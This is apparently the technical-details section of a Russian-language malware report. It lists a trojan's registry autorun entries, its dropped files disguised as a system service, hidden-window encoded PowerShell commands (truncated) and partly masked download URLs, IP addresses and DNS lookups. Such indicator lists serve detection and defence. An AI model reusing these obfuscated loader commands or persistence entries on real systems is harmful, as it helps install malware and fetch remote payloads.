Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dplaysvr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dplaysvr] 'ImagePath' = '"%WINDIR%\SysWOW64\systemcpl\dplaysvr.exe"'
- 'dplaysvr' "%WINDIR%\SysWOW64\systemcpl\dplaysvr.exe"
- 'dplaysvr' %WINDIR%\SysWOW64\systemcpl\dplaysvr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARg...
- %HOMEPATH%\z1hf13c\jq8m_45\ru6ojr1ir.exe
- %WINDIR%\syswow64\systemcpl\dplaysvr.exe
- %HOMEPATH%\z1hf13c\jq8m_45\ru6ojr1ir.exe в %WINDIR%\syswow64\systemcpl\dplaysvr.exe
- '71.##.196.159':80
- http://ca####nacanullo.com/js/hllPT/
- http://71.##.196.159/qkRDGIH8D1pF/D6sgN2p/kUnrz3SYan2z5j/s600aqUz/uZChW7J/
- DNS ASK ha####weixun.com
- DNS ASK ca####nacanullo.com
- '%HOMEPATH%\z1hf13c\jq8m_45\ru6ojr1ir.exe'
- '%WINDIR%\syswow64\systemcpl\dplaysvr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARg...' (со скрытым окном)